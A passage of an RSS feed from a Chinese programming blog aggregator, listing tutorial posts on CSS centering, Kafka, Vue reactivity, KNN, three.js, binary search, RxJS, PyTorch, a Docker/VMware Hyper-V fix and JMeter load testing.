      <description>在页面元素布局时经常会有把元素居中的需求，大多都是用弹性盒或者定位，下面来说一下使用方法&#xA;一、使用边距进行固定位置 这种方法需要把父元素和子元素的宽度固定，然后利用二者宽高之差添加边距移动元素的位置&#xA;现在创建了一个父元素box1中包含了一个子元素box2,下边的许多案例都会使用这个盒子样式&#xA;&amp;lt;div class=&#34;box1&#34;&amp;gt; &amp;lt;div class=&#34;box2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; .box1{ width: 500px; height: 500px; background-color: #f00; } .box2{ width: 100px; height: 100px; background-color: #0f0; } 子元素默认在父元素的左上角位置，因为已经知道父元素和子元素的宽高，因此可以使用二者之差的二分之一作为边距宽度即可&#xA;500px - 100px = 400 ⇒ 400px / 2 = 200px&#xA;1、给父元素添加内边距 在元素添加padding值之后盒子的尺寸会加上内边距导致尺寸变大&#xA;如果不希望外边距影响父元素宽高需要添加 box-sizing: border-box;&#xA;关于box-sizing&#xA;.box1{ width: 500px; height: 500px; background-color: #f00; padding:200px //使用内边距将四周距离全部占满，使子元素被挤在中间 box-sizing: border-box //将宽高变为盒子宽高而不是内容区宽高 } 2、给子元素添加外边距 直接给子元素添加外边距margin值即可,效果与上边一样，无需修改box-sizing&#xA;.box2{ margin:200px } 此时父元素剩余空间被子元素的外边距占满&#xA;二、使用绝对定位 使用绝对定位的方法可以在父元素与子元素宽高不固定的情况下进行定位，使元素进行居中&#xA;元素开启绝对定位之后可以脱离文档流，因此元素居中后会浮在父元素中间&#xA;使用绝对定位进行元素居中有两种方法&#xA;1、添加 x轴 和 y轴 偏移量后往回移动 &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>kafka --- 常见性问题</title>
      <link>https://bchobby.github.io/posts/60187dff94dd6017de161ff8113feae0/</link>
      <pubDate>Fri, 04 Nov 2022 15:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60187dff94dd6017de161ff8113feae0/</guid>
      <description>数据丢失和如何保障数据不丢失&#xA;数据丢失的情况：&#xA;producer端 1、设置acks=all&#xA;acks=0：producer把消息发送出去了，就确认发送成功了，但是如果此时leader分区宕机了，根本没有接收这条消息，或者还没有写入日志，导致数据丢失&#xA;acks=1：producer把消息发送出去了，leader分区收到并写入日志，，就确认发送成功了，但是如果此时leader分区宕机了，根本没有把这条消息同步给follower分区，follower分区后续继续选举了一个新的leader分区，新leader分区并没有这条新数据，导致数据丢失&#xA;acks=all：当leader分区收到并写入日志，及同步给follower分区之后，再确认消息发送成功&#xA;2、producer: 异步批量发送&#xA;一般情况下，为了提高吞吐量，发消息会实行异步批量发送，&#xA;这样做有一个风险，当buffer里面有很多数据的时候，此时producer宕机了，会把buffer里面的数据给丢失了，导致数据丢失&#xA;保障不丢失措施：&#xA;1、把异步改成同步&#xA;kafkaTemplate.send(&#34;testTopic&#34;,gson.toJson(message)); 改成：&#xA;Future future = kafkaTemplate.send(&#34;testTopic&#34;,gson.toJson(message)); future.get(); 2、不要使用producer.send(msg)，而要使用producer.send(msg, callback)。在callback回调函数 中可以把发送失败的消息给保存下来，进行下一次发送&#xA;3、设置retries ，当网络发生抖动，配置了retries &amp;gt; 0的producer能够自动重试消息发送，避免消息丢失。&#xA;broker端： 设置副本数&amp;gt;1，如果副本数=1，则就算acks=all ，也可以会造成数据丢失unclean.leader.election.enable 设置为 true,选举从ISR列表中选举 comsumer端： 自动提交是当消费者poll过来了，就自动提交offset给broker，如果此时消费者接收到了数据，并没有做处理的时候，突然消费者当前的机器宕机了，导致还没对这条数据做处理（保存数据库或者其他计算），最终丢失了&#xA;1、设置enable.auto.commit=false 在处理完这条数据后，手动提交offset&#xA;2、设置auto-offset-reset 为 earliest&#xA;这个参数指定了在没有偏移量可提交时(比如消费者第l次启动时)或者请求的偏移量在broker上不存在时(比如数据被删了)，消费者会做些什么。&#xA;这个参数有两种配置。一种是earliest：消费者会从分区的开始位置读取数据，不管偏移量是否有效，这样会导致消费者读取大量的重复数据，但可以保证最少的数据丢失。一种是latest(默认)，如果选择了这种配置， 消费者会从分区的末尾开始读取数据，这样可以减少重复处理消息，但很有可能会错过一些消息。&#xA;消息的有序性&#xA;1、kafka的特性是只支持partition有序，之前在生产者讲分区选择的时候，可以指定key的方式发送数据 ，可以用业务id，作为key，达到业务上的有序&#xA;2、如果业务需要部分数据有序，除了只建立一个分区外，则可以在消费端添加缓存，根据消息先后顺序的字段进行判断，如果A，B两条数据，如果非要B在A之后执行，则如果先pull消息B，则业务逻辑判断，A是否被消费，如果未被消费，则把B放进缓存，则pull消息A过来的时候,消费去缓存中看有没有B，如有，则消费B&#xA;重复消费&#xA;1、 比如消费者手动提交的时候，处理完这条消息，但是在进行手动提交的时候，突然宕机了，并没有修改broker中的offset值&#xA;2、当有人估计把broker中保存offset的topic给删掉的时候，我们没法知道当前分区的offset 是什么，只有从头再读一遍，会造成大量重复消息&#xA;3、在自动提交情况下，消费者提交offset不是消费一条就进行提交的，而是按一定的时间周期进行提交的（auto_commit_interval_ms 参数进行设置），如果正好在这个时间之内，服务器宕机了，就导致offset没有更新，当消费者启动的时候，会重复消费之前的数据&#xA;解决办法是：&#xA;1、本地保存处理完消息的offset 值，每条消息都带有一个offset,在表设计的时候，可以topic 分区 offset三维度区设计&#xA;2、消费数据的幂等性，可以定义消息的唯一属性，如果数据库存在唯一性的消息就不进行处理或者更新处理&#xA;消息堆积&#xA;看查看消费组的消息堆积情况命令&#xA;修改副本数 在server.properties中配置：&#xA;# 自动创建主题 auto.create.topics.enable=true # 默认主题的分区数 num.partitions=3 # 默认分区副本 default.</description>
    </item>
    <item>
      <title>python学习——turtle</title>
      <link>https://bchobby.github.io/posts/04e92580b325f1f7997f3ad3bb986193/</link>
      <pubDate>Fri, 04 Nov 2022 15:25:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04e92580b325f1f7997f3ad3bb986193/</guid>
      <description>本文的所有源码来自于：https://github.com/jackfrued/Python-100-Days/tree/master/Day01-15&#xA;文章目录 一、概述：二、安装三、基础命令介绍 一、概述： turtle（海龟）库是turtle绘图体系python的实现；&#xA;turtle绘图体系：1969年诞生，主要用于程序设计入门；&#xA;turtle库是python的标准库之一；属于入门级的图形绘制函数库；&#xA;二、安装 直接使用pip进行安装&#xA;pip install turtle 三、基础命令介绍 画布&#xA;画布cancas是绘图区域，可以设置它的大小和初始位置 turtle.screensize(1000,600,&#39;red&#39;) #大小的设置 turtle.setup(width=0.5, height=0.75, startx=None, starty=None)#参数： #width, height: 输入宽和高为整数时, 表示像素; 为小数时, 表示占据电脑屏幕的比例， #startx, starty: 这一坐标表示矩形窗口左上角顶点的位置, 如果为空,则窗口位于屏幕中心。 显示绘图窗口 turtle.mainloop()#必须是程序的最后一个语句 画笔 （1）画笔运动的命令&#xA;turtle.forward(distance) #向当前画笔方向移动a像素长度 turtle.backward(distance) #向当前画笔相反方向移动a像素长度 turtle.right(degree) #顺时针移动 aturtle.left(degree) #逆时针移动 aturtle.pendown() #移动时绘制图形 turtle.goto(x,y) #将画笔移动到坐标为x,y的位置 turtle.penup() #移动时不绘制图形，提起笔 turtle.speed() #画笔绘制的速度范围 turtle.circle() #画图，半径为正，表示圆心在画笔的左边画圈 （2）画笔控制命令&#xA;turtle.pensize(width) #绘制图形的宽度 turtle.pencolor() #画笔的颜色 turtle.fillcolor(color) #绘制图形的填充颜色 turtle.color(color1,color2) #同时设置pencolor=color1,fillcolor=color2 turtle.filling() #返回当前是否在填充状态 turtle.begin_fill() #准备开始填充图形 turtle.end_fill() #填充完成 turtle.hideturtle() #隐藏箭头显示 turtle.</description>
    </item>
    <item>
      <title>Vue2和Vue3的响应式原理及区别</title>
      <link>https://bchobby.github.io/posts/20b89a687a547da5695abd267c85a0e8/</link>
      <pubDate>Fri, 04 Nov 2022 14:24:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20b89a687a547da5695abd267c85a0e8/</guid>
      <description>响应式数据的声明。以下内容帮助理解，不建议死记硬背&#xA;1、在Vue2中，只要是在data里面定义的数据，就能在模板中使用，且它是一个响应式数据。数据进行修改，模板就会进行修改。但是其不能监听到深层对象数据和数组数据的更改。Vue2是通过this.$set和this.$delete两个api去解决的&#xA;比如this.$set(this.person,“sex”,“女”)是给person对象添加一个sex为女的响应式属性&#xA;this.$delete(this.person,name)是动态的删除person对象的name属性&#xA;2、Vue2的双向数据绑定是利用了es5 的一个API Object.definepropert() 对数据进行劫持 结合发布订阅模式来实现的。Vue3中使用了es6的proxy对数据进行处理。&#xA;3、在Vue3中，ref函数常用于将简单数据类型定义为响应式数据。relactive函数常用于声明复杂数据类型为响应式&#xA;reactive函数里面写了具体对proxy的实现&#xA;ref处理基本数据类型，底层用的是objectdefineproperty，用的是getter和setter，但是处理对象数据其底层还是求助了reactive 。是通过proxy来实现的&#xA;ref既可以声明简单数据类型也可以声明复杂数据类型，relative只能声明复杂数据类型&#xA;4、取值：在setup里面再次获ref声明的数据的值时，需要.value；在模板中使用ref声明的响应式数据，可以省略.value（因为模板在解析的时候会判断，数据是否是ref声明的数据，如果是，会直接取出里面value的值）&#xA;5、Vue3下响应式原理如下&#xA;其底层对数据的增删改查是通过Proxy和Reflect去处理的（代理和反射）&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script&amp;gt; let person = { name:&#39;张三&#39;, age:18 } const p = new Proxy(person,{ //读取的对象和属性 get(target,propName){ console.log(`有人读取了p身上的${propName}属性`); //Reflect(反射)读取对象身上的属性 return Reflect.get(target,propName); }, //修改或新增的对象，修改或新增的属性，修改或新增后的值 set(target,propName,value){ //下面的p即为target console.log(`有人修改了p身上的${propName}属性`); //修改和新增对象身上的属性 return Reflect.set(target,propName,value); }, //删除的对象和属性 deleteProperty(target,propName){ console.log(`有人删除了p身上的${propName}属性`); //删除对象身上的属性 return Reflect.deleteProperty(target,propName); } }) &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 运行上面的代码，就可以在浏览器的控制台进行验证</description>
    </item>
    <item>
      <title>K近邻算法实例</title>
      <link>https://bchobby.github.io/posts/f1b3ad4cec234d4a6e740be0f9373f23/</link>
      <pubDate>Fri, 04 Nov 2022 08:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1b3ad4cec234d4a6e740be0f9373f23/</guid>
      <description>一、实验目的 1、理解K近邻算法中距离的度量、K值得选取和分类决策规则的确定；&#xA;2、掌握用K近邻模型对所给的实例进行正确分类的方法；&#xA;3、掌握K近邻相关数据结构并能熟练运用Python编写程序。&#xA;二、实验要求 1、读代码，学python。要求能读懂所给代码，能改写代码实现其它类似算法&#xA;2、运行结果要截图并对结果做分析；&#xA;3、所有内容汇总到本文档，无需提供.py文件；&#xA;三、实验内容 阅读代码并进行注释用KNN算法改进约会网站的配对效果&#xA;海伦女士一直使用在线约会网站寻找适合自己的约会对象。尽管约会网站会推荐不同的任选，但她并不是喜欢每一个人。经过一番总结，她发现自己交往过的人可以进行如下分类：不喜欢的人、魅力一般的人 、极具魅力的人&#xA;海伦收集约会数据已经有了一段时间，她把这些数据存放在文本文件datingTestSet.txt中，每个样本数据占据一行，总共有1000行。&#xA;海伦收集的样本数据主要包含以下3种特征：每年获得的飞行常客里程数、玩视频游戏所消耗时间百分比、每周消费的冰淇淋公升数&#xA;将数据集的部分当作训练集，其余作为测试集，通过KNN算法进行分类预测，将预测结果输出并与真实结果对比，计算分类错误率。 四、实验过程（原理，源码） KNN算法理解： KNN 算法采用测量不同特征之间的距离方法进行分类，通俗的讲就是：给定一个样本数据集，并且样本集中每个数据都存在标签，即我们知道样本集中每个数据与所属分类的对应关系。对新输入没有标签的实例，在训练数据集中找到与该实例最邻近的 k 个实例，这 k 个实例的多数属于某个类，就把该输入实例分为这个类。&#xA;1.阅读并对代码进行注释 要实现手写数字识别，首先需要将二进制图像转化为向量，通过构造一个函数，将3232的01串连接起来，输出11204的向量。然后通过KNN算法，计算训练集元素之间的距离并进行分类。最后是将手写数字识别的训练集和测试集进行导入，将预测结果输出并与真实结果对比，算出分类的错误率。&#xA;通过对代码按照上述思路进行分析并添加注释：&#xA;首先是构造一个函数将3232转换为11024的向量&#xA;&#34;&#34;&#34; img2vector 函数说明：将32*32的二进制图像矩阵转换成1*1024的向量 Parameters: filename - 二进制图像文件名 Returns: returnVect - 1*1024的向量 &#34;&#34;&#34; def img2vector(filename): returnVect = np.zeros((1, 1024)) #zeros(shape, dtype=float, order=&#39;C&#39;) 返回一个给定形状和类型的用0填充的数组； fr = open(filename) #读取二进制图像文件 for i in range(32): #32行 lineStr = fr.readline() for j in range(32): #32列 returnVect[0, 32*i+j] = int(lineStr[j]) return returnVect #返回1*1024的向量 下面是KNN算法函数，通过输入训练集数据、分类标准、和K值，返回分类结果</description>
    </item>
    <item>
      <title>threejs-场景创建（基于react-hooks）</title>
      <link>https://bchobby.github.io/posts/63588c70f60488a84492cd0d39196f27/</link>
      <pubDate>Thu, 03 Nov 2022 22:32:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63588c70f60488a84492cd0d39196f27/</guid>
      <description>个基本的threejs程序，主要内容如下：&#xA;一个基本的threejs程序，创建场景，一个兰伯特材质地板创建MeshLambertMaterial材质的球体和立方体并对他们添加阴影为场景添加鼠标并使得页面大小自适应屏幕为立方体添加旋转动画效果为球体添加弹跳动画效果 效果如图&#xA;代码：&#xA;import { useRef, useEffect, useCallback } from &#39;react&#39; import * as THREE from &#39;three&#39; import OrbitControls from &#39;three-orbitcontrols&#39;; import &#39;./index.scss&#39; const App = () =&amp;gt; { const page = useRef(); // useRef不会导致重新渲染 /** * 场景、相机、渲染器作为threejs的基本结构，需要在页面进入时渲染完毕 */ const scence = useRef(new THREE.Scene()).current; //场景 const camera = useRef(new THREE.PerspectiveCamera()).current; //摄像机（透视投影） const render = useRef(new THREE.WebGLRenderer()).current; //渲染器 const meshList = useRef([]).current // 模型容器 const timer = useRef(null) // 定时器 const controls = new OrbitControls( camera, render.</description>
    </item>
    <item>
      <title>defer-promise 源码解析(Npm library)</title>
      <link>https://bchobby.github.io/posts/14ba642d05eb1ed81f8157bf2b5998a3/</link>
      <pubDate>Thu, 03 Nov 2022 22:13:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14ba642d05eb1ed81f8157bf2b5998a3/</guid>
      <description>defer-promise 源码解析(Npm library) 文章目录 defer-promise 源码解析(Npm library)基本信息源码解析使用参考链接 基本信息 version：v3.0.0功能：利用 Promise 的特性实现两块异步代码同步化传送门：75lb/defer-promise - Github 源码解析 我们先来看看源码，非常简短&#xA;/** * @module defer-promise */ function defer () { if (typeof Promise !== &#39;undefined&#39; &amp;amp;&amp;amp; Promise.defer) { return Promise.defer() } else { var deferred = {} deferred.promise = new Promise(function (resolve, reject) { deferred.resolve = resolve deferred.reject = reject }) return deferred } } export default defer 先构建一个 Promise 对象，然后将 resolve、reject 方法透出并返回，如此一来我们就可以如下去使用&#xA;使用 let solver; function invoker() { solver = defer(); // start task // .</description>
    </item>
    <item>
      <title>C语言——折半查找法</title>
      <link>https://bchobby.github.io/posts/9422f14a33797283f03b1c93ffa58e7c/</link>
      <pubDate>Thu, 03 Nov 2022 22:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9422f14a33797283f03b1c93ffa58e7c/</guid>
      <description>一、使用场景 假如现在有一组数据，你想要查询这个具体某一个数据在这一堆数据中的所在位置，这个时候就需要程序在这一组数据中，找到与想要查找的目标数据相匹配的那个数据，然后返回相对应的位置。如果将问题再细化简化一点，假如现在有一组有顺序的数字，需要你编写程序找到其中一个数字所在的位置。了解需求之后，我们脑海中一般首先浮现的思路便是，编写一个数组，然后将数字一个个进行匹配，最后找到这个数字的位置，返回该位置，问题解决。&#xA;现在我们就将此思路实践一下看看是否能够找到该数字。给出一个包含十个元素的数组，里面包含了1，2，3，4，5，6，7，8，9，10，然后尝试在其中找到数字7对应的位置，代码如下所示：&#xA;上面的代码使用了flag作为一个标志数，因为成功找到后break跳出循环继续执行，但是如果查找的是一个不存在该数组中的数字时，对上面数据全部进行查找之后也会结束循环执行，此时如果没有标志数，程序就无法判断是因为哪种原因跳出了循环结构。所以定义一个变量flag进行判断：如果成功找到，flag的值为1，否则为0，程序就能通过if语句进行判断是哪种情况，判断是否输出找不到情况下的语句。&#xA;我们发现最后是可以实现这个目标的，成功找到了数字7在这个数字中对应的位置：7.（这个位置是指在数字的位置而不是数组中的下标）。&#xA;但是这样一个个数字进行匹配，虽然能找到对应位置，但是假如现在有100或者1000甚至10000个数字，然后想要找到比较靠后的一个数字对应的位置时，这种方法就显得有些许“笨拙”了，不够灵活和简便，要将所有数字从头到尾一个个进行匹配，直至找到为止。此时就需要使用一个更加简便更加快速的方法——折半查找法，或者叫做二分查找法。&#xA;二、如何实现折半查找法 假如一天你的同学买了一双球鞋，只告诉你这双鞋在一千以内，然后让你猜这双鞋价格是多少，你会怎么做？可能有少部分人会上来就给这位朋友一拳，然后一顿输出“你买鞋又不是买给我，还**让我猜价钱，凡尔赛你**，我******”，但是大多数人还是会选择正确的做法：从中间数500开始猜，而不是像上面的做法一样，真的就傻傻的从1，2，3开始猜到1000。所以折半查找法的思想也是如此。&#xA;我们从这一组有序数字中，取其中位数与我们查找的目标数进行匹配，如果正好一发入魂，那就直接找到了该数，但是即使大概率不正确，我们也可以直接干掉一半的数据。举个例子：假如现在有个数组是1-1000，目标数是777，那么我中位数是500，进行比较之后是比目标数更小，那就说明目标数的位置只可能在中位数往上，而不能在500之下，那么500以下的数字就全部被干倒了，这一次查找就可以消灭掉一半数据，而上面的做法一次只能消灭一个数字，效率相比之下就产生了很明显的差距了。然后第一次查找后再进行第二次折半，取750进行比较，这次还是比目标数小，但是仍然干掉了一半数据，依次进行下去，只需使用少数次数查找便可以从大量数据中找到。&#xA;现在还是使用上面的例子，示例以下折半查找法：&#xA;上面代码中先定义了一个左下标和右下标，从而定义出中位数的下标。每次查找之后，如果目标数 &amp;gt; 中位数，那么目标数只会出现在中位数往上的位置，那么此时右下标不需变动，左下标应该是中位数的下标 +1，再次对左右下标相加除以2，取得剩下数据的中位数作为新的中位数进行下一次查找。如果目标数 &amp;lt; 中位数，那么目标数只会出现在中位数之下的位置，那么此时左下标不需变动，右下标应该是中位数的下标 -1，然后再次取新的中位数，以此类推进行查找，所以使用while循环。&#xA;第一次查找的图示如下，第一次查找之后可知 k &amp;gt; 中位数，所以 k 的位置只可能出现在中位数的右边，此时我们的第二次查找想要从中位数的右边第一个数开始找起，所以此时左下标应该是 mid + 1。&#xA;所以第二次查找如下，可知现在 k &amp;lt; 中位数，所以只可能出现在中位数的左边，此时我们希望下次查找从中位数的左边第一个数开始，所以此时右下标为 mid - 1。&#xA;然后后续查找都如上图所示，直至左右下标交错（left &amp;gt; right）或者相等（left = right），便是循环结束的标志。&#xA;三、总结 折半查找法每一次查找都可以判断一半数量的数据是否匹配，效率比第一种方法高效很多。k = 7 这种情况是查找次数最多的情况，都只需要四次查找即可完成，但是第一种方法查找需要七次，相比之下，足以见得折半查找法的高效性。&#xA;但是折半查找法也是需要前提条件才可以使用的，就是要求查找的这组数据必须是有序的，倒序和顺序都可以。面对无序的数据，折半查找法就失效，这也是相较于第一种方法的不足之处，两种方法各有所长，须根据不同情况进行使用。</description>
    </item>
    <item>
      <title>RxJS 实战: 基于 BehaviorSubject 实现状态管理 &amp; 结合 React</title>
      <link>https://bchobby.github.io/posts/8dc96dab9bbe312a0eead10ee37b7c7c/</link>
      <pubDate>Thu, 03 Nov 2022 21:45:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dc96dab9bbe312a0eead10ee37b7c7c/</guid>
      <description>RxJS 实战: 基于 BehaviorSubject 实现状态管理 &amp;amp; 结合 React 文章目录 RxJS 实战: 基于 BehaviorSubject 实现状态管理 &amp;amp; 结合 React完整代码示例基于 BehaviorSubject 定义状态自定义 HookReact-RxJS参考链接 完整代码示例 https://github.com/superfreeeee/Blog-code/tree/main/front_end/others/rxjs/rxjs_state_management_react&#xA;基于 BehaviorSubject 定义状态 上一篇我们提到 RxJS 里面的 BehaviorSubject 非常适合作为一个响应式对象来帮助我们进行状态管理。今天我们来尝试手写一下基于 React 框架的封装&#xA;/src/store/state.ts 一开始我们先来看我们可以利用 BehaviorSubject 做出哪些常用的状态&#xA;基础状态&#xA;export const nameSubject = new BehaviorSubject&amp;lt;string&amp;gt;(&#39;crystal&#39;); export const ageSubject = new BehaviorSubject&amp;lt;number&amp;gt;(15); 导出量&#xA;也称为计算状态，类似 Vue 里面的 computed&#xA;export const maxAgeSubject = ageSubject.pipe( map((age) =&amp;gt; (age &amp;gt;= 18 ? 18 : age)), ); 依赖多个状态的导出量</description>
    </item>
    <item>
      <title>Pytorch中卷积与池化等的实现以及模型搭建</title>
      <link>https://bchobby.github.io/posts/171909477b1e522de58858e8675c6e2d/</link>
      <pubDate>Thu, 03 Nov 2022 21:06:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/171909477b1e522de58858e8675c6e2d/</guid>
      <description>在上一篇文章中已经介绍了Pytorch中Dataset类以及Transform类中一些方法的使用，接下来介绍利用Pytorch来实现卷积等操作的实现。&#xA;一、nn.Module类 一个nn.Module是神经网络的基本骨架，可以视为一个块。如果神经网络要重写初始方法，则必须要调用父类的初始化函数。&#xA;所有的module包含两个主要函数：&#xA;init函数：在里边定义一些需要的类或参数。包括网络层。&#xA;forward函数：做最终的计算和输出，其形参就是模型（块）的输入。&#xA;现在来简单写一个类：&#xA;class Test1(nn.Module):&#xA;def __init__(self) -&amp;gt; None:&#xA;super().__init__()&#xA;def forward(self,input):&#xA;output = input+1&#xA;return output&#xA;这个类的作用是传入一个数，输出这个数加一后的结果，调用类：&#xA;test1 = Test1() x = torch.tensor(1.0) 注意：在调用forward方法时不用引用函数，因为集成的nn.Module中的forward方法是__call__()方法的实现，可调用对象会调用__call__()方法。&#xA;output = test1(x) print(output) 输出结果如下：&#xA;二、卷积 1、conv2d 卷积分为不同的层，如con1、con2等，以二层卷积为例，具体的参数可查看官方文档，卷积操作主要就是用卷积核（weight）与原始数据进行计算，再加上其他的操作，最后得到一个新的输出。。&#xA;其中一些重要参数的含义如下：&#xA;output就是卷积神经网络模型计算后的输出。&#xA;input是输入的数据，在此为一个二维数组，代表一张图片。&#xA;kernel表示卷积核，同input形状，也是一个二维数组，并且两者的形状都要有四个指标，否则要进行reshape。&#xA;stride表示步长。&#xA;padding表示周围填充几层，填充的默认值是0。&#xA;首先导入包：&#xA;import torch import torch.nn.functional as F 设置输入数据：&#xA;input = torch.tensor([[1, 2, 0, 3, 1], [0, 1, 2, 3, 1], [1, 2, 1, 0, 0], [5, 2, 3, 1, 1], [2, 1, 0, 1, 1]]) 设置卷积核：</description>
    </item>
    <item>
      <title>Docker与VMware冲突（关闭Hyper-V）</title>
      <link>https://bchobby.github.io/posts/b5b17e06161c53083ea9ea3e5402ecf1/</link>
      <pubDate>Thu, 03 Nov 2022 21:02:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5b17e06161c53083ea9ea3e5402ecf1/</guid>
      <description>docker开启了就不能用VMware。&#xA;前天我电脑下载了docker，虽然不久后又卸掉了，但是第二天也就是昨天，我再次打开电脑，打开VMware的时候，发现弹出提示：此平台不支持虚拟化的intel vt-x/ept。&#xA;这时候就纳闷了，为啥？？&#xA;我查看了一下虚拟机的设置，发现我是开启虚拟化的intel vt-x/ept的，然后我就在网上搜索了一番，实践后成功解决，得到解决方法如下：&#xA;1. 关闭服务里的有关HV的全部服务 由于我在 控制面板--程序--Windows功能 里找不到Hyper-V的功能，所以我采用以上方法禁用Hyper-V。&#xA;2.以管理员身份运行 Windows PowerShell 运行命令：bcdedit /set hypervisorlaunchtype off&#xA;这样Hype-V就禁用彻底了。&#xA;接下来重启一下电脑，再打开虚拟机，成功开机运行啦！&#xA;解决方法参考博文：https://blog.csdn.net/CNjcdyl/article/details/124802614&#xA;当想要启动docker时，则把上述功能都开启：&#xA;1.运行命令：bcdedit /set hypervisorlaunchtype auto&#xA;2.启用“适用于 Linux 的 Windows 子系统”功能&#xA;可输入命令：dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart&#xA;3.启用“虚拟机平台”功能&#xA;可输入命令：dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart&#xA;再重启电脑，就可以了。</description>
    </item>
    <item>
      <title>Jmeter5.x互联网大厂性能与压力测试常用技能概览【综合项目实战】</title>
      <link>https://bchobby.github.io/posts/23fd89604dceab2c6f4a098bdb9bef78/</link>
      <pubDate>Thu, 03 Nov 2022 20:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23fd89604dceab2c6f4a098bdb9bef78/</guid>
      <description>Jmeter在互联网大厂中，是开发和测试人员对系统进行性能测试和压力测试常用工具；开发人员在开发过程中需要对接口进行测试和真实数据的批量模拟压测等；测试人员需要使用Jmeter对系统接口进行性能与压力的测试，保障系统在项目前期特定配置下达到稳定和可用状态；&#xA;本次文章是日常实战中对Jmeter的运用，独立整理为一个专题栏目；&#xA;使用当前主流项目框架技术和常规压测流程，对系统进行逐步调参压测，带领你认知单机情况下，最高的QPS。以及如何使用Jmeter的HTML可视化报告向上级继续汇报。&#xA;在发现接口有问题有严重问题时，如何用有效的测试数据和开发沟通并提出优化建议；适合人群：初中高级测试人员，全栈工程师，高级开发工程师，架构师，技术leader&#xA;Jmeter官方地址：Apache JMeter - Apache JMeter™&#xA;【综合实战】模拟生产环境压测配置：&#xA;阿里云ECS服务器：4核8G；1台，用于发布压测项目；&#xA;阿里云ECS服务器：2核8G；1台，用于使用Jmeter进行内网压测；&#xA;数据库RDS：mysql8，2核8G；1台&#xA;压测项目：SpringBoot+MybaitsPlus+JWT，集成token授权机制，来真实达到生产环境下效果；&#xA;接口列表：&#xA;接口名称接口描述用户登录模拟管理员登录，登录成功返回token，其他基础接口需用到会员列表分页获取会员列表，需要管理员token新增会员新增会员信息，需要管理员token修改会员根据会员编号修改会员基础信息，需要管理员token获取单个会员根据会员编号获取会员信息，需要管理员token删除会员根据会员编号，删除指定会员，需要管理员token新增商品新商品信息，需要token获取会员下单token模拟会员登录返回token，后续下单接口需要使用下单接口模拟会员在商城进行下单，需要会员token才可以下单；主要进行会员信息，商品参数等校验，以及最后的下单到数据；压测主要接口订单列表分页查询订单列表，需要管理员token Jmeter汉化界面：&#xA;专题内容摘要： 1、掌握并实战运用HTTP协议包以及日常状态码，媒体类型区分；&#xA;2、Jmeter5.x多环境安装实战（win+Linux+Mac）&#xA;3、搭建测试接口环境并进行性能测试；&#xA;4、Jmeter生成聚合报告以及参数指标分析&#xA;5、集合测试环境进行断言编写实战；&#xA;6、CSV可变参数的标准测试流程&#xA;7、互联网大厂标准压测流程介绍与实战；&#xA;8、【高级进阶】Jmeter5.x性能测试之自定义BeanShell脚本实战（一）&#xA;9、【高级进阶】Jmeter5.x性能测试之BeanShell关联接口压测实战（二）&#xA;10、【高级进阶】Jmeter5.x性能测试之BeanShell引入外部Java文件实战（三）​​​​​​​&#xA;11、【高级进阶】Jmeter性能测试之让测试数据说话&#xA;12、【高级进阶】Jmeter非GUI压测实战&#xA;13、【综合实战】电商项目环境搭建（Springboot+Mysql+MybaitsPlus）&#xA;14、【综合实战】电商项目接口压测实战&#xA;Jmeter压测环境数据可视化环境 Jmeter压测脚本结构&#xA;​​​​​​​&#xA;测试后台管理登录&#xA;压测数据可视化监控 会员可视化&#xA;商品可视化&#xA;订单可视化&#xA;后端部分代码&#xA;前端部分代码&#xA;项目服务器环境截图&#xA;Jmeter生成HTML可视化报告部分截图&#xA;后端接口源码地址：Jmeter5.x / Jmeter-shop-test · GitCode&#xA;前端项目源码地址：Jmeter5.x / Jmeter-shop-test-admin · GitCode&#xA;本文章持续更新中...</description>
    </item>
    <item>
      <title>嵌入式51/52单片机——流水灯实验小白教程（详细完整过程）Proteus 8配合Keil5仿真</title>
      <link>https://bchobby.github.io/posts/a998895c5d6d513e072fcf2b08647b4b/</link>
      <pubDate>Thu, 03 Nov 2022 18:14:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a998895c5d6d513e072fcf2b08647b4b/</guid>
